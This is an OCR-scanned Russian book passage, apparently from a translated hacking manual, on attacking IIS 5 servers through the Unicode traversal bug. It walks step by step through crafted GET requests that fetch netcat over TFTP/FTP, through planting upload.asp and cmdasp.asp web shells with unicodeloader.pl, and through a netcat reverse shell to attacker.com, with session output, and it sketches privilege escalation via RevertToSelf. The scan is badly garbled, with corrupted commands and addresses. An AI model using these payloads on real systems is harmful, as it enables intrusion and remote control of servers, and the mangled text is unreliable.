На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Загрузка файлов по протоколам SMB, FTP или TFTP

Если существует возможность определения каталога, в который разрешена запись, то для выполнения записи можно использовать различные методы в зависимости от того, какие данные брандмауэр позволяет передавать на атакуемый Web-сервер и получать с сервера. Если брандмауэр пропускает исходящие данные по протоколу SMB (ТСР-порты 139 и/или 445), то файлы можно получить из удаленной системы атакующего с использованием встроенного в Windows механизма совместного использования файлов. Если доступны исходящие соединения по протоколу FTP (ТСР-порты 21 или 20) и/или TFTP (1ЮР-портб9), то для загрузки файлов из системы хакера на атакуемую машину обычно используют FTP- или TFTP-клиенты атакуемой машины, при этом система хакера выполняет функции FTP- или TFTP-сервера. Некоторые примеры команд для выполнения этих действий будут приведены далее.
Загрузить утилиту netcat по протоколу TFTP достаточно просто. Сначала необходимо запустить TFTP-сервер на системе хакера (пусть се адрес 192.168.234.31). Затем на атакуемой системе, пользуясь ошибкой Unicode или аналогичной ей, выполняют следующую команду.
GET /scripts/..%cO%af../winnt/system32/tftp.exe?
% --i" + 192.163. 234.31-tGET-t-nc.exe C:\nc.exe HTTP/1.0
Обратите внимание, что в данном примере программа netcat будет записана в каталог С: \, так как в этот каталог по умолчанию разрешена запись для пользователя Everyone. Также отметим, что если файл С: \nc . ехе уже существует, то появится сообщение об ошиб-Ketftp.exe: can't write to local file 'С:\nc. exe'. При успешном завершении передачи будет выдано другое сообщение, например: Transfer successful: 59392 bytes in 1 second, 59392 bytes/s.
Использовать протокол FTP намного сложнее, но он больше подходит для случаев, когда разрешены исходящие соединения из атакуемой системы. Сначала на атакуемой машине необходимо создать произвольный файл (назовем его, например, £ tptmp), который затем будет использован всценарии для FTP-клиента благодаря использованию параметра -s-.UMajpaujia. Этот сценарий должен реализовать подключение FTP-клиента к машине злоумышленника и загрузить программу netcat. Перед тем как создать этот файл, вероятно, придется преодолеть одно препятствие, а именно: при использовании программы атаки Unicode нельзя перенаправлять вывод программы cmd. ехе С ПОМОЩЬЮ КОМаНДЫ ">".
Чтобы обойти это ограничение, какой-то хитроумный хакер придумал просто переименовать программу cmd. ехе! Итак, создаем сценарий для FTP-клиента, при этом для начала необходимо переименовать файл cmd. ехе.
GET /scripts/. .%cO%af . . /winnt/system32/cmd.exe?-t-/c+copy Ч> +c:\winnt\systera32\cmd.exe+c:\cmdl.exe HTTP/1.0
Отметим, что здесь также запись производится в каталог С:\, поскольку это разрешено пользователю Everyone. Теперь можно создать сценарий для FTP с помощью команды echo. В следующем примере использованы некоторые произвольные значения, необходимые для клиента FTP (имя файла сценария— ftptmp, имя пользователя — anonymous, пароль — a9a.com, IP-адрес FTP-сервера— 192.168.2.31). Можно даже запустить FTP-клиент в режиме сценария, чтобы сразу получить доступ к программе netcat (этот пример разбит на несколько строк).
GET /scripts/ . .%cO*af . . /cmdl. exe? + /c+echo+anonymous:>C: \ ftptmp 4> &becho+a@a.eom>C:\ftptmp&&echo+bin>C:\ftptmp 4> bbecho+get+test.txt+C:\nc.exe>C:\ftptmp&4echo+bye?C:\ftptmp % btftp*-s;C:\£tptmp-H92.168.234.31S&de-l+C:\ftptmp
Использование команды echo > file для создания файлов
Конечно, если недоступны протоколы FTP и TFTP (например, если внимательный администратор удалил соответствующие программы с сервера или эти протоколы блокируются брандмауэром), можно воспользоваться и другими механизмами для записи файлов на ата­куемый сервер, не обращаясь к внешним клиентским программам. Как было показано выше, для направления данных в файл можно использовать переименованную программу cmd.exe. Записывать таким образом данные строка за строкой легко, но несколько скучно. К счастью для хакеров, в сети Internet можно найти много разных сценариев, которые связывают все необходимые компоненты в один пакет, автоматизирующий весь процесс, упрощая запуск нужных программ. Рассмотримлучшиеиз них.
Роэлоф Темминг (Roelof Temmingh) написал сценарий Unicode loader на языке Perl, в котором используется программа атаки Unicode и методика перенаправления/эха для создания двух файлов, upload, asp и upload, inc, которые затем позволяют загрузить через браузер все, что захочет хакер (в этот же пакет входит и сценарий unicodeexecute, но для запуска программ проще использовать сценарий cmdasp.asp, описанный далее).
^^^^Н Сценарий unicodeloader. pi легко изменить для работы с программой атаки двойного декодирования, эта ошибка не исправлена в пакете обновления Wimdows 2000 Service Pack 2.
Использовать сценарий unicodeloader.pl довольно просто. Сначала убедимся в том, что в каталоге, из которого запущена программа unicodeloader.pl, присутствуют файлы upload.asp и upload, inc. Затем найдем в корневом каталоге атакуемого сервера подкаталог, для которого разрешены запись И выполнение файлов. В следующем примере используется каталоге: \inetpub\scripts, который по умолчанию разрешает запись и выполнение программ для пользователя Everyone в Windows Server 2003. С- \>nnicodeloader.pl
Usage: unicodeloader IP:port webroot
C:\>Unicodeloader.pi victim.com:80 C:\imatpub\ecriptB
Creating uploading webpage on victim.com on port 80. The webroot is C:\inetpub\scripts.
testing directory /scripts/..%cO%af../winnt/system32/cmd.exe?/c farmer brown directory: c:\inetpub\scripts
'-au' is not recognized as an internal or external command, operable program or batch file. sensepost.exe found on system uploading ASP section: Now simply surf to caesars/upload.asp and enjoy. Files will be uploaded to C:\inetpub\scripts
Программа unicodeloader .pi сначала копирует файл с: \winnt\system32 \cmd. ехе в файл с именем sensepost.exe каталога, заданного параметром Webroot (в нашем примере это каталог С: \inetpub\scripts). Напоминаем, что это делается, чтобы обойти невозможность перенаправления (команда ») для файла cmd.exe. Файл sensepost.ехе за-
тем используется для построчного перенаправления файлов upload.asp и upload.inc в Webroot-каталог (в нашем примере С: \inetpub\scripts).
Если на Web-сервере есть файл Web-страницы upload, asp и связанный с ним включаемый файл, то можно перейти на эту страницу через браузер и загружать файлы, пользуясь удобной формой, как показано на 5.
Чтобы получить более полный контроль над атакуемым сервером, хакер, вероятно, загрузит через сценарий upload, asp еще два файла. Первым из них, конечно, будет программа netcat (файл пс. ехе). А вторым станет сценарий cradasp .asp, написанный хакером Масео. Это ос­нованный на форме сценарий, который выполняет команды через браузер взломщика, используя программу атаки Unicode. После перехода на страницу cmdasp. asp хакер получает удобный графический интерфейс для запуска команд Unicode, как показано на 6.
С: \
и есть возможность выполнять команды через

На данном этапе стоит особо отметить, что для использования сценариев upload.asp или cmdasp. asp достаточно перейти на эти страницы. В нашем примере в качестве атакуе-
следующий вид.
http://victim.com/scripts/upload.asp http: //victim. com/scripts/crr,dasp.asp
сценарий cmdasp.asp, получение удаленной командной строки становится элементарной задачей. Сначала на системе злоумышленника запускается утилита netcat, ожидающая запросов на соединение.
С:\>ДС -1 -р 2003
Затем для получения удаленной командной строки используют сценарий cmdasp. asp, для этого в форму нужно ввести следующую команду и нажать кнопку Run (Запустить), c:\inetpub\scripts\nc.exe -v -е cmd.exe attacker.com 2002
Вот теперь в окне команд, в котором запушена утилита netcat в режиме ожидания соединений с портом 2002, получаем командную строку удаленной системы (7). Мы запустили программу ipconf ig, чтобы показать, что на удаленной машине установлены два сетевых адаптера, а это значит, что она подключена к внутренней сети — настоящий джек-пот для хакера!
D:\test>nc -1 -р 2002
Microsoft Windows 2000 [Version 5.00.21951 (С) Copyright 1985-1999 Microsoft Corp.
C:\itfNNT\system32Hpconfig ipconfig
rfindows 2600 IP Configuration
Host Naee............: uictin
Primary CMS Suffix ....... : vicTin.com
IP Routing Enabled.......' . : Yes
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix IP Rddress...........
Ethernet adapter Local Rrea Connection 2
Connection-specific DNS Suffix
IP Address...........
DNS Servers ..........
C:\HINNT\svsten32>.
victim.com 192.168.208.U
internal.org
172.16.210.105
172.16.210.6
Рис. 10.7. Командный интерпретатор удаленной системы, доступ к которому получен с помощью утилиты netcat, показывает результат выполнения команды ipconf ig на удаленной машине
При получении командной строки посредством утилиты netcat необходимо правильно выбрать порт для исходящего соединения. Обычно настройки маршрутизатора или брандмауэра разрешают уста нашивать соединения от узла защищаемой ими сети для непривилеги­рованных портов (с номерами выше 1024), потому эта атака имеет большие шансы на успех,
даже если для входящих соединений разрешено только использование ТСР-порта 80, поскольку все этапы атаки проводятся именно через этот порт.
На пути злоумышленника остается еще одна преграда. Хотя и получен интерактивный доступ к командной строке, она выполняется в контексте учетной записи с низкими привилегиями (либо TVSR_uMx_MauiUHbi, либо ШШ_имя_машины, в зависимости от конфигурации сервера). Конечно, на этом этапе хакер уже способен нанести значительный ущерб даже с привилегиями iusr. Злоумышленник может получить критически важные данные из системы, подключиться к другим машинам внутренних сетей (если это разрешено для пользователя IUSR), может создавать ситуации отказа в обслуживании и/или заменять информацию локальных Web-страниц. Однако, для завершенности взлома системы можно расширить уровень прав в системе до привилегий учетной записи Administrator или system. Об этом мы расскажем далее.
Как стало ясно из главы 6, "Расширение привилегий", хорошие программы атаки для расширения привилегий на системах семейства Windows NT требуют наличия привилегий interactive. Этим ограничивается эффективность удаленного применения против сервера 1IS 5 таких программ атаки, как PipeUpAdmin и netddemsg.
В главе 6, "Расширение привилегий", упоминалась программа атаки, которая использует вызовы функции RevertToSelf и библиотеку ISAPI для расширения привилегий учетной записи IUSR до уровня прав SYSTEM. Если злоумышленник может загрузить или найти библиотеку ISAPI, которая вызывает функцию API RevertToSelf на сервере IIS 5, то можно воспользоваться и этой хитростью. Если доступны такие средства, как unicodeloader.pl и каталог с возможностью записи в него и запуска программ, то удаленная загрузка и запуск библиотеки ISAPI уже не кажутся такой проблемой. Ясно, что для полного взлома системы потребуется провести обычную атаку Unicode.
Но конфигурация по умолчанию сервера 1IS 5 не позволяет хакерам использовать этот метод без преодоления серьезных препятствий (еще одна хорошая причина для обновления системы с версии NT 41). Чтобы объяснить, в чем причина этих затруднений, необходимо еше раз вернуться к рассмотренной выше модели выполнения процессов на сервере I1S 5. Процесс IIS (inetinfo. ехе) выполняется от имени учетной записи LocalSystem и использует заимствование прав для обслуживания запросов. Для обслуживания анонимных запросов используется учетная запись IUSR.
Вызов функции API RevertToSelf в библиотеке ISAPI может дать возможность выполнять команды от имени учетной записи system. По сути, функция RevertToSelf "просит" текущий поток переключиться с контекста учетной записи iusr в контекст учетной записи, под которой выполняется сам процесс inetinfo — это учетная запись system. Как мы указывали ранее, расширения библиотек ISAPI запускаются вне процесса inetinfo, в другом процессе — DLLHost. ехе, который запускается в контексте учетной записи ™АМ_имя_машины
Таким образом, расширение привилегий через функцию RevertToSelf становится невозможным даже на сервере I1S 5 в конфигурации по умолчанию — приложения ISAP1 выполняются вне процесса сервера, и функция RevertToSelf возвращает учетную запись iwam, которая имеет лишь права гостя. Но на самом деле не все так просто, как кажется, соответствующий пример будет рассмотрен ниже.

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика